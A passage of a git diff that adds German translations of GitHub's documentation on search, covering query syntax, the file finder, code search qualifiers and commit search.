+shortTitle: Troubleshoot search queries
+ms.openlocfilehash: 2c90d144401974ebc44f4b80a1509593fe987329
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106063'
+---
+## Mögliche Zeitüberschreitung
+
+Einige Abfragen stellen für unsere Suchinfrastruktur eine außergewöhnlich hohe Rechenlast dar. Damit die Suche aber für jeden Benutzer schnell erfolgt, sehen wir uns gezwungen, der Dauer einer einzelnen Abfrage Grenzen zu setzen. In den sehr seltenen Fällen, in denen eine Abfrage aufgrund einer Zeitüberschreitung abgebrochen wird, gibt die Suche alle Treffer zurück, die bis zum Abbruch gefunden wurden. Gleichzeitig wirst Du über die Zeitüberschreitung informiert.
+
+Das Erreichen des Zeitlimits bedeutet jedoch nicht in jedem Fall, dass die Suchergebnisse unvollständig sind. Es bedeutet lediglich, dass die Abfrage vor der vollständigen Durchsuchung aller zur Verfügung stehenden Daten abgebrochen wurde.
+
+## Einschränkungen der Abfragelänge
+
+Bei der Suche auf {% data variables.product.product_name %} gelten für Abfragen auch Längeneinschränkungen:
+
+* Abfragen mit mehr als 256 Zeichen werden nicht unterstützt.
+* Du kannst keine Abfrage mit mehr als fünf `AND`-, `OR`- oder `NOT`-Operatoren erstellen.
+
+Für bestimmte Arten der Suche, beispielsweise für die Codesuche, gelten unter Umständen weitere Einschränkungen. Nähere Informationen findest Du in der Dokumentation zum jeweiligen Suchtyp.
+
+## Weiterführende Themen
+
+- [Informationen zur Suche auf GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github)
diff --git a/translations/de-DE/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
new file mode 100644
index 0000000000..48c0fb768e
--- /dev/null
+++ b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
@@ -0,0 +1,104 @@
+---
+title: Grundlagen der Suchsyntax
+intro: 'Für Suchen auf {% data variables.product.product_name %} kannst du Abfragen erstellen, die nach bestimmten alphanumerischen Zeichenfolgen suchen.'
+redirect_from:
+  - /articles/search-syntax
+  - /articles/understanding-the-search-syntax
+  - /github/searching-for-information-on-github/understanding-the-search-syntax
+  - /github/searching-for-information-on-github/getting-started-with-searching-on-github/understanding-the-search-syntax
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+shortTitle: Understand search syntax
+ms.openlocfilehash: e233c32d01c53ca5e5aa815fffe4505b14696240
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106059'
+---
+## Abfrage nach Werten mit einem Vergleichsoperator
+
+Du kannst `>`, `>=`, `<` und `<=` verwenden, um nach Werten zu suchen, die größer, größer oder gleich, kleiner und kleiner oder gleich einem anderen Wert sind.
+
+Abfrage  | Beispiel
+------------- | -------------
+<code>><em>n</em></code> | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** gleicht Repositorys mit dem Begiff „cats“ (Katzen) ab, die mehr als 1000 Sterne haben.
+<code>>=<em>n</em></code> | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** gleicht Repositorys mit dem Begriff „cats“ (Katzen) ab, die fünf oder mehr Themen enthalten.
+<code><<em>n</em></code> | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** gleicht Code mit dem Begriff „cats“ (Katzen) ab, der kleiner ist als 10 KB.
+<code><=<em>n</em></code> | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** gleicht Repositorys mit dem Begriff „cats“ (Katzen) ab, die 50 Sterne oder weniger haben.
+
+Du kannst auch [Bereichsabfragen](#query-for-values-between-a-range) verwenden, um nach Werten zu suchen, die größer oder gleich oder kleiner oder gleich einem anderen Wert sind.
+
+Abfrage  | Beispiel
+------------- | -------------
+<code><em>n</em>..*</code> | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** entspricht `stars:>=10` und gleicht Repositorys mit dem Begriff „cats“ ab, die zehn oder mehr Sterne haben.
+<code>*..<em>n</em></code> | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** entspricht `stars:<=10` und gleicht Repositorys mit dem Begriff „cats“ ab, die zehn oder weniger Sterne haben.
+
+## Abfrage nach Werten innerhalb eines Wertebereichs
+
+Mit der Bereichssyntax <code><em>n</em>..<em>n</em></code> kannst du nach Werten innerhalb eines Wertebereichs suchen. Dabei ist der erste Wert _n_ die untere und der zweite Wert die obere Grenze des gesuchten Bereichs.
+
+Abfrage  | Beispiel
+------------- | -------------
+<code><em>n</em>..<em>n</em></code>  | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** gleicht Repositorys mit dem Begriff „cats“ ab, die zwischen zehn und 50 Sternen haben.
+
+## Abfrage nach Datums- und Zeitangaben
+
+Du kannst nach Datumsangaben suchen, die früher oder später als ein anderes Datum sind, oder die in einen Bereich von Datumsangaben fallen, indem du `>`, `>=`, `<`, `<=` und [Bereichsabfragen](#query-for-values-between-a-range) verwendest. {% data reusables.time_date.date_format %}
+
+Abfrage  | Beispiel
+------------- | -------------
+<code>><em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** gleicht Issues mit dem Begriff „cats“ (Katzen) ab, die nach dem 29. April 2016 erstellt wurden.
+<code>>=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** gleicht Issues mit dem Begriff „cats“ (Katzen) ab, die am oder nach dem 1. April 2017 erstellt wurden.
+<code><<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** gleicht Code mit dem Begriff „cats“ (Katzen) in Repositorys ab, die vor dem 5. Juli 2012 gepusht wurden.
+<code><=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** gleicht Issues mit dem Begriff „cats“ (Katzen) ab, die am oder vor dem 4. Juli 2012 erstellt wurden.
+<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** gleicht Repositorys mit dem Begriff „cats“ (Katzen) ab, die zwischen Ende April und Juli 2016 übertragen wurden.
+<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..*</code> | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** gleicht Issues ab, die nach dem 30. April 2012 erstellt wurden und den Begriff „cats“ enthalten.
+<code>*..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** gleicht Issues ab, die vor dem 4. Juli 2012 erstellt wurden und den Begriff „cats“ enthalten.
+
+{% data reusables.time_date.time_format %}
+
+Abfrage  | Beispiel
+------------- | -------------
+<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>+<em>00</em>:<em>00</em></code> | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** gleicht Issues ab, die zwischen 1. Januar 2017 um 1:00 Uhr mit einem UTC-Offset vom `07:00` und 1. März 2017 um 15:00 Uhr mit einem UTC-Offset von `07:00` erstellt wurden.
+<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>Z</code>  | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** gleicht Issues ab, die zwischen 21. März 2016 um 14:11 Uhr und 7. April 2016 um 20:45 Uhr erstellt wurden.
+
+## Ausschluss bestimmter Ergebnisse
+
+Mit der Syntax `NOT` kannst du Ergebnisse ausschließen, die einen bestimmten Begriff enthalten. Der Operator `NOT` kann nur für Schlüsselwörter für Verbindungszeichenfolgen verwendet werden. Mit Zahlen oder Datumsangaben funktioniert er nicht.
+
+Abfrage  | Beispiel
+------------- | -------------
+`NOT`  | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** gleicht Repositorys ab, die den Begriff „hello“ aber nicht den Begriff „world“ enthalten.
+
+Ebenso kannst du Deine Abfrageergebnisse durch Ausschluss bestimmter Teilmengen eingrenzen. Du kannst jedem Qualifizierer `-` voranstellen, um alle Ergebnisse auszuschließen, die mit diesem Qualifizierer übereinstimmen.
+
+Abfrage  | Beispiel
+------------- | -------------
+<code>-<em>QUALIFIER</em></code>  | **[`cats stars:>10 -language:javascript`](https://github.com/search?q=cats+stars%3A>10+-language%3Ajavascript&type=Repositories)** gleicht Repositorys mit dem Begriff „cats“ (Katzen) ab, die mehr als zehn Sterne besitzen, jedoch nicht in JavaScript geschrieben sind.
+ | **[`mentions:defunkt -org:github`](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** gleicht Issues mit der Erwähnung von @defunkt ab, die sich nicht in Repositorys in der GitHub-Organisation befinden.
+
+## Anführungszeichen für Abfragen nach Zeichenfolgen mit Leerzeichen
+
+Wenn Deine Suchabfrage Leerzeichen enthält, musst du die gesuchte Zeichenfolge in Anführungszeichen einschließen. Beispiel:
+
+* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) gleicht Repositorys mit dem Begriff „cats“ (Katzen) aber nicht mit den Begriffen „hello world“ ab.
+* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) gleicht Issues mit dem Begriff „build“ ab, die die Bezeichnung „bug fix“ besitzen.
+
+Bei Suchabfragen innerhalb von Code werden einige nicht alphanumerische Zeichen, so auch Leerzeichen, ignoriert, selbst wenn der Suchstring in Anführungszeichen steht. Dies führt oft nicht zum erwünschten Ergebnis.
+
+## Abfragen mit Benutzernamen
+
+Wenn deine Abfrage einen Qualifizierer verwendet, der einen Benutzernamen verlangt, beispielsweise `user`, `actor` oder `assignee`, kannst du jeden {% data variables.product.product_name %}-Benutzernamen verwenden, um eine bestimmte Person anzugeben oder `@me`, um den bzw. die aktuelle*n Benutzer*in anzugeben.
+
+Abfrage  | Beispiel
+------------- | -------------
+`QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) gleicht Commits ab, die von @nat erstellt wurden.
+`QUALIFIER:@me` | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) gleicht Issues ab, die der Person zugewiesen sind, die die Ergebnisse anzeigt.
+
+Du kannst nur `@me` mit einem Qualifizierer verwenden und nicht als Suchbegriff wie `@me main.workflow`.
diff --git a/translations/de-DE/content/search-github/index.md b/translations/de-DE/content/search-github/index.md
new file mode 100644
index 0000000000..8f4a220926
--- /dev/null
+++ b/translations/de-DE/content/search-github/index.md
@@ -0,0 +1,49 @@
+---
+title: Searching for information on GitHub (Suchen nach Informationen auf GitHub)
+intro: "Erfahre, wie du die Suchfunktionen auf GitHub nutzen kannst, um verschiedene Arten von Informationen zu finden, wie z.\_B. Projekte, Personen und Code."
+introLinks:
+  overview: /search-github/getting-started-with-searching-on-github/about-searching-on-github
+featuredLinks:
+  guides:
+    - /search-github/searching-on-github/searching-issues-and-pull-requests
+    - /search-github/searching-on-github/searching-code
+    - /search-github/searching-on-github/searching-for-repositories
+    - /search-github/searching-on-github/searching-commits
+  popular:
+    - /search-github/github-code-search/about-github-code-search
+    - /search-github/getting-started-with-searching-on-github/understanding-the-search-syntax
+    - /search-github/searching-on-github/searching-users
+    - /search-github/searching-on-github/finding-files-on-github
+    - /search-github/getting-started-with-searching-on-github/sorting-search-results
+  guideCards:
+    - /search-github/searching-on-github/searching-in-forks
+    - /search-github/searching-on-github/searching-topics
+    - /search-github/searching-on-github/searching-for-packages
+changelog:
+  label: search
+layout: product-landing
+redirect_from:
+  - /categories/78/articles
+  - /categories/search
+  - /categories/searching-for-information-on-github
+  - /github/searching-for-information-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+children:
+  - /getting-started-with-searching-on-github
+  - /searching-on-github
+  - /github-code-search
+shortTitle: Search on GitHub
+ms.openlocfilehash: 3914612c6bfc1250b38d11a31123f0dca7ff42c6
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159745'
+---
+
diff --git a/translations/de-DE/content/search-github/searching-on-github/finding-files-on-github.md b/translations/de-DE/content/search-github/searching-on-github/finding-files-on-github.md
new file mode 100644
index 0000000000..8a77a79684
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/finding-files-on-github.md
@@ -0,0 +1,74 @@
+---
+title: Dateien auf GitHub suchen
+intro: 'Du kannst mit der Dateisuche eine Datei in einem Repository suchen. Verwende den [`filename`Qualifizierer für die Codesuche](/search-github/searching-on-github/searching-code#search-by-filename), um mehrere Repositorys auf {% data variables.product.product_name %} nach einer Datei zu durchsuchen.'
+redirect_from:
+  - /articles/finding-files-on-github
+  - /github/searching-for-information-on-github/finding-files-on-github
+  - /github/searching-for-information-on-github/searching-on-github/finding-files-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+ms.openlocfilehash: 7cecdfd58ecf56cac251bd77af3a4e1a7fcfd607
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880196'
+---
+{% tip %}
+
+**Tipps:**
+
+- Bei den Ergebnissen der Dateisuche werden einige Verzeichnisse standardmäßig ausgeschlossen. Hierzu zählen unter anderem `build`, `log`, `tmp` und `vendor`. Verwende den [`filename`Qualifizierer für die Codesuche](/search-github/searching-on-github/searching-code#search-by-filename), um diese Verzeichnisse nach Dateien zu durchsuchen.{% ifversion file-finder-exclusion-controls %} Alternativ kannst du [mithilfe einer `.gitattributes`-Datei](#customizing-excluded-files) anpassen, welche Verzeichnisse standardmäßig ausgeschlossen werden sollen.{% endif %}
+- Du kannst die Dateisuche auch öffnen, indem du auf der Tastatur die Taste `t` drückst. Weitere Informationen findest du unter [Tastenkombinationen](/articles/keyboard-shortcuts).
+
+{% endtip %}
+
+## Dateisuche verwenden
+
+{% data reusables.repositories.navigate-to-repo %}
+2. Klicke über der Dateiliste auf **Zu Datei wechseln**.
+![Schaltfläche für die Dateisuche](/assets/images/help/search/find-file-button.png)
+3. Gib im Suchfeld den Namen der Datei ein, die Du suchen möchtest.
+![Suchfeld für die Dateisuche](/assets/images/help/search/find-file-search-field.png)
+4. Klicke in der Ergebnisliste auf die gewünschte Datei.
+
+{% ifversion file-finder-exclusion-controls %}
+
+## Ausgeschlossene Dateien anpassen
+
+Die Ergebnisse der Dateisuche enthalten standardmäßig keine Dateien aus den folgenden Verzeichnissen, wenn sie im Repositorystamm vorhanden sind:
+
+ - `.git`
+ - `.hg`
+ - `.sass-cache`
+ - `.svn`
+ - `build`
+ - `dot_git`
+ - `log`
+ - `tmp`
+ - `vendor`
+
+Du kannst diese Standardausschlüsse überschreiben, indem du eine `.gitattributes`-Datei verwendest.
+
+Erstelle oder aktualisiere dazu im Repositorystamm eine Datei namens `.gitattributes`, und lege das Attribut [`linguist-generated`](https://github.com/github/linguist/blob/master/docs/overrides.md) für jedes Verzeichnis, das in den Ergebnissen der Dateisuche enthalten sein soll, auf `false` fest.
+
+Die folgende `.gitattributes`-Datei würde beispielsweise dazu führen, dass Dateien im Verzeichnis `build/` für die Dateisuche verfügbar sind:
+
+```
+build/** linguist-generated=false
+```
+
+Dabei ist zu beachten, dass diese Außerkraftsetzung die Verwendung des rekursiven Globmusters (`**`) erfordert. Weitere Informationen findest du in der Git-Dokumentation unter [Pattern Format](https://git-scm.com/docs/gitignore#_pattern_format). Komplexere Außerkraftsetzungen von Unterverzeichnissen in ausgeschlossenen Standardverzeichnissen werden nicht unterstützt.
+
+{% endif %}
+
+## Weiterführende Themen
+
+- [Informationen zur Suche auf GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github){% ifversion file-finder-exclusion-controls %}
+- [Darstellung geänderter Dateien auf GitHub anpassen](/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github)
+- [`.gitattributes`](https://git-scm.com/docs/gitattributes) in der Git-Dokumentation{% endif %}
diff --git a/translations/de-DE/content/search-github/searching-on-github/index.md b/translations/de-DE/content/search-github/searching-on-github/index.md
new file mode 100644
index 0000000000..facaae2ab4
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/index.md
@@ -0,0 +1,34 @@
+---
+title: Suchvorgänge auf GitHub
+intro: 'Du kannst Qualifizierer verwenden, um deine Suche einzuschränken und dich auf bestimmte Informationskategorien zu konzentrieren.'
+redirect_from:
+  - /articles/searching-on-github
+  - /github/searching-for-information-on-github/searching-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+children:
+  - /finding-files-on-github
+  - /searching-for-repositories
+  - /searching-topics
+  - /searching-code
+  - /searching-commits
+  - /searching-issues-and-pull-requests
+  - /searching-discussions
+  - /searching-github-marketplace
+  - /searching-users
+  - /searching-for-packages
+  - /searching-wikis
+  - /searching-in-forks
+ms.openlocfilehash: b9108fb893855a42e7c3ca525f82a19515c6f5ef
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106052'
+---
+
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-code.md b/translations/de-DE/content/search-github/searching-on-github/searching-code.md
new file mode 100644
index 0000000000..3ac136a456
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-code.md
@@ -0,0 +1,121 @@
+---
+title: Searching code
+intro: 'You can search for code on {% data variables.product.product_name %} and narrow the results using these code search qualifiers in any combination.'
+redirect_from:
+  - /articles/searching-code
+  - /github/searching-for-information-on-github/searching-files-in-a-repository-for-exact-matches
+  - /github/searching-for-information-on-github/searching-code-for-exact-matches
+  - /github/searching-for-information-on-github/searching-code
+  - /github/searching-for-information-on-github/searching-on-github/searching-code
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+---
+
+{% ifversion github-code-search %}
+  {% note %}
+
+  **Note:** {% data reusables.search.classic-search-code-search-note %}
+
+  {% endnote %}
+{% endif %}
+
+{% data reusables.search.you-can-search-globally %} For more information, see "[About searching on GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
+
+You can only search code using these code search qualifiers. Search qualifiers specifically for repositories, users, or commits, will not work when searching for code.
+
+{% data reusables.search.syntax_tips %}
+
+## Considerations for code search
+
+Due to the complexity of searching code, there are some restrictions on how searches are performed:
+
+{% ifversion fpt or ghes or ghec %}
+- {% data reusables.search.required_login %}{% endif %}
+- Code in [forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) is only searchable if the fork has more stars than the parent repository. Forks with fewer stars than the parent repository are **not** indexed for code search. To include forks with more stars than their parent in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)."
+- Only the _default branch_ is indexed for code search.{% ifversion fpt or ghec %}
+- Only files smaller than 384 KB are searchable.{% else %}* Only files smaller than 5 MB are searchable.
+- Only the first 500 KB of each file is searchable.{% endif %}
+- Up to 4,000 private{% ifversion ghec or ghes or ghae %} and internal{% endif %} repositories are searchable. These 4,000 repositories will be the most recently updated of the first 10,000 private{% ifversion ghec or ghes or ghae %} and internal{% endif %} repositories that you have access to.
+- Only repositories with fewer than 500,000 files are searchable.{% ifversion fpt or ghec %}
+- Only repositories that have had activity or have been returned in search results in the last year are searchable.{% endif %}
+- Except with [`filename`](#search-by-filename) searches, you must always include at least one search term when searching source code. For example, searching for [`language:javascript`](https://github.com/search?utf8=%E2%9C%93&q=language%3Ajavascript&type=Code&ref=searchresults) is not valid, while [`amazing language:javascript`](https://github.com/search?utf8=%E2%9C%93&q=amazing+language%3Ajavascript&type=Code&ref=searchresults) is.
+- At most, search results can show two fragments from the same file, but there may be more results within the file.
+- You can't use the following wildcard characters as part of your search query: <code>. , : ; / \ ` ' " = * ! ? # $ & + ^ | ~ < > ( ) { } [ ] @</code>. The search will simply ignore these symbols.
+
+## Search by the file contents or file path
+
+With the `in` qualifier you can restrict your search to the contents of the source code file, the file path, or both. When you omit this qualifier, only the file contents are searched.
+
+| Qualifier  | Example
+| ------------- | -------------
+| `in:file` | [**octocat in:file**](https://github.com/search?q=octocat+in%3Afile&type=Code) matches code where "octocat" appears in the file contents.
+| `in:path` | [**octocat in:path**](https://github.com/search?q=octocat+in%3Apath&type=Code) matches code where "octocat" appears in the file path.
+| | [**octocat in:file,path**](https://github.com/search?q=octocat+in%3Afile%2Cpath&type=Code) matches code where "octocat" appears in the file contents or the file path.
+
+## Search within a user's or organization's repositories
+
+To search the code in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier. To search the code in a specific repository, you can use the `repo` qualifier.
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt extension:rb**](https://github.com/search?q=user%3Agithub+extension%3Arb&type=Code) matches code from @defunkt that ends in <em>.rb</em>.
+| <code>org:<em>ORGNAME</em></code> |[**org:github extension:js**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+extension%3Ajs&type=Code) matches code from GitHub that ends in <em>.js</em>.
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:mozilla/shumway extension:as**](https://github.com/search?q=repo%3Amozilla%2Fshumway+extension%3Aas&type=Code) matches code from @mozilla's shumway project that ends in <em>.as</em>.
+
+## Search by file location
+
+You can use the `path` qualifier to search for source code that appears at a specific location in a repository. Use `path:/` to search for files that are located at the root level of a repository. Or specify a directory name or the path to a directory to search for files that are located within that directory or any of its subdirectories.
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>path:/</code> | [**octocat filename:readme path:/**](https://github.com/search?utf8=%E2%9C%93&q=octocat+filename%3Areadme+path%3A%2F&type=Code) matches _readme_ files with the word "octocat" that are located at the root level of a repository.
+| <code>path:<em>DIRECTORY</em></code> | [**form path:cgi-bin language:perl**](https://github.com/search?q=form+path%3Acgi-bin+language%3Aperl&type=Code) matches Perl files with the word "form" in the <em>cgi-bin</em> directory, or in any of its subdirectories.
+| <code>path:<em>PATH/TO/DIRECTORY</em></code> | [**`console path:app/public language:javascript`**](https://github.com/search?q=console+path%3A%22app%2Fpublic%22+language%3Ajavascript&type=Code) matches JavaScript files with the word "console" in the <em>app/public</em> directory, or in any of its subdirectories (even if they reside in <em>app/public/js/form-validators</em>).
+
+## Search by language
+
+You can search for code based on what language it's written in. The `language` qualifier can be the language name or alias. For a full list of supported languages with their names and aliases, see the [github/linguist repository](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml).
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>language:<em>LANGUAGE</em></code> | [**element language:xml size:100**](https://github.com/search?q=element+language%3Axml+size%3A100&type=Code) matches code with the word "element" that's marked as being XML and has exactly 100 bytes.
+| | [**display language:scss**](https://github.com/search?q=display+language%3Ascss&type=Code) matches code with the word "display," that's marked as being SCSS.
+| | [**org:mozilla language:markdown**](https://github.com/search?utf8=%E2%9C%93&q=org%3Amozilla+language%3Amarkdown&type=Code) matches code from all @mozilla's repositories that's marked as Markdown.
+
+## Search by file size
+
+You can use the `size` qualifier to search for source code based on the size of the file where the code exists. The `size` qualifier uses [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to filter results based on the byte size of the file in which the code is found.
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>size:<em>n</em></code> | [**function size:&gt;10000 language:python**](https://github.com/search?q=function+size%3A%3E10000+language%3Apython&type=Code) matches code with the word "function," written in Python, in files that are larger than 10 KB.
+
+## Search by filename
+
+The `filename` qualifier matches code files with a certain filename. You can also find a file in a repository using the file finder. For more information, see "[Finding files on GitHub](/search-github/searching-on-github/finding-files-on-github)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>filename:<em>FILENAME</em></code> | [**filename:linguist**](https://github.com/search?utf8=%E2%9C%93&q=filename%3Alinguist&type=Code) matches files named "linguist."
+| | [**filename:.vimrc commands**](https://github.com/search?q=filename%3A.vimrc+commands&type=Code) matches *.vimrc* files with the word "commands."
+| | [**filename:test_helper path:test language:ruby**](https://github.com/search?q=minitest+filename%3Atest_helper+path%3Atest+language%3Aruby&type=Code) matches Ruby files named *test_helper* within the *test* directory.
+
+## Search by file extension
+
+The `extension` qualifier matches code files with a certain file extension.
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>extension:<em>EXTENSION</em></code> | [**form path:cgi-bin extension:pm**](https://github.com/search?q=form+path%3Acgi-bin+extension%3Apm&type=Code) matches code with the word "form," under <em>cgi-bin</em>, with the <em>.pm</em> file extension.
+| | [**icon size:>200000 extension:css**](https://github.com/search?utf8=%E2%9C%93&q=icon+size%3A%3E200000+extension%3Acss&type=Code) matches files larger than 200 KB that end in .css and have the word "icon."
+
+## Further reading
+
+- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)"{% ifversion fpt or ghec %}
+- "[Navigating code on {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/navigating-code-on-github)"{% endif %}
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-commits.md b/translations/de-DE/content/search-github/searching-on-github/searching-commits.md
new file mode 100644
index 0000000000..3858653ec0
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-commits.md
@@ -0,0 +1,121 @@
+---
+title: Commits durchsuchen
+intro: 'Auf {% data variables.product.product_name %} kannst du Commits durchsuchen und die Suchergebnisse mit den folgenden Kennzeichnern der Commit-Suche in beliebiger Kombination eingrenzen.'
+redirect_from:
+  - /articles/searching-commits
+  - /github/searching-for-information-on-github/searching-commits
+  - /github/searching-for-information-on-github/searching-on-github/searching-commits
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+ms.openlocfilehash: 2dc35c96805e175bef1ed1ec1898d48e50de6042
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106047'
+---
+Du kannst Commits global auf {% data variables.product.product_name %} oder in bestimmten Repositorys oder Organisationen durchsuchen. Weitere Informationen findest du unter [Informationen zur Suche auf {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github).
+
+Beim Suchen nach Commits wird nur der [Standardbranch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) eines Repositorys durchsucht.
+
+{% data reusables.search.syntax_tips %}
+
+## Suche in Commit-Mitteilungen
+
+Du kannst nach Commits suchen, deren Nachricht bestimmte Wörter enthält. Beispielsweise sucht [**fix typo**](https://github.com/search?q=fix+typo&type=Commits) nach Commits, die die Worte „fix“ und „typo“ enthalten.
+
+## Suche nach Autor oder Committer
+
+Mit den Qualifizierern `author` oder `committer` kannst du nach Commits eines bestimmten Benutzers suchen.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| <code>author:<em>USERNAME</em></code> | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) sucht nach Commits, die von @defunkt erstellt wurden.
+| <code>committer:<em>USERNAME</em></code> | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) sucht nach Commits, die von @defunkt committet wurden.
+
+Die Qualifizierer `author-name` und `committer-name` suchen anhand des Autoren- oder Committernamens nach Commits.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| <code>author-name:<em>NAME</em></code> | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) sucht nach Commits mit „wanstrath“ im Autorennamen.
